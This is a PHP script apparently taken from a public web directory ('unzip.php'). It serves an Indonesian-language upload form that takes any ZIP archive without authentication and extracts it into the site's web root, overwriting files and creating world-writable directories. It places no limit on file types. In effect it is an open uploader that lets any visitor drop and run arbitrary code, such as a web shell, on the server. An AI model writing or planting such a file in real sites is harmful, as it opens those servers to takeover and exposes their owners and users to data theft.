/home/smartonegroup/public_html/unzip.php
<?php
ini_set('upload_max_filesize', '20M');
ini_set('post_max_size', '25M');
ini_set('memory_limit', '128M');
ini_set('max_execution_time', 300);

$statusMessage = '';
$fileCount = 0;

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['zip_file'])) {
    if ($_FILES['zip_file']['error'] !== UPLOAD_ERR_OK) {
        $statusMessage = "<p style='color:red;'>❌ Upload error (Kode: {$_FILES['zip_file']['error']}).</p>";
    } elseif ($_FILES['zip_file']['size'] > 20 * 1024 * 1024) {
        $statusMessage = "<p style='color:red;'>❌ File terlalu besar. Maksimal 20MB.</p>";
    } else {
        $zipFile = $_FILES['zip_file']['tmp_name'];
        $zip = new ZipArchive;

        $res = $zip->open($zipFile);
        if ($res === TRUE) {
            $basePath = __DIR__;

            // ==== Deteksi folder utama di dalam ZIP ====
            $baseFolder = '';
            $folders = [];
            for ($i = 0; $i < $zip->numFiles; $i++) {
                $entryName = $zip->getNameIndex($i);
                if (substr($entryName, -1) === '/') continue;
                $parts = explode('/', $entryName, 2);
                if (count($parts) > 1) {
                    $folders[] = $parts[0];
                }
            }
            if (count($folders) > 0) {
                $counts = array_count_values($folders);
                arsort($counts);
                reset($counts);
                $baseFolder = key($counts) . '/';
            }
            // ==========================================

            for ($i = 0; $i < $zip->numFiles; $i++) {
                $entryName = $zip->getNameIndex($i);
                if (substr($entryName, -1) === '/') continue;

                $relativePath = $entryName;
                if ($baseFolder && strpos($entryName, $baseFolder) === 0) {
                    $relativePath = substr($entryName, strlen($baseFolder));
                }

                if ($relativePath === '') continue;

                $relativePath = str_replace(['..\\', '../', '..'], '', $relativePath);
                $relativePath = ltrim($relativePath, '/\\');

                $targetPath = $basePath . '/' . $relativePath;
                $targetDir = dirname($targetPath);

                if (!is_dir($targetDir)) {
                    mkdir($targetDir, 0777, true);
                }

                $stream = $zip->getStream($entryName);
                if ($stream) {
                    file_put_contents($targetPath, stream_get_contents($stream));
                    fclose($stream);
                    $fileCount++;
                }
            }

            $zip->close();
            $statusMessage = "<p style='color:green;'>✅ Sukses! ZIP berhasil diekstrak. ({$fileCount} file diekstrak)</p>";
        } else {
            $statusMessage = "<p style='color:red;'>❌ Gagal membuka ZIP. Kode error: $res</p>";
        }
    }
}
?>

<!DOCTYPE html>
<html>
<head>
    <title>Upload & Ekstrak ZIP</title>
    <style>
        body { font-family: Arial, sans-serif; margin: 30px; }
        h2 { color: #333; }
        form { margin-top: 15px; }
        input[type=file] { margin: 10px 0; }
        input[type=submit] {
            background: #4CAF50; color: white; border: none; padding: 8px 14px;
            border-radius: 5px; cursor: pointer;
        }
        input[type=submit]:hover { background: #45a049; }
    </style>
</head>
<body>
    <h2>📂 Upload & Ekstrak ZIP</h2>
    <?php if (!empty($statusMessage)) echo $statusMessage; ?>
    <form method="POST" enctype="multipart/form-data">
        <input type="file" name="zip_file" accept=".zip" required>
        <br>
        <input type="submit" value="Unggah & Ekstrak">
    </form>
</body>
</html>
Path: home/smartonegroup/public_html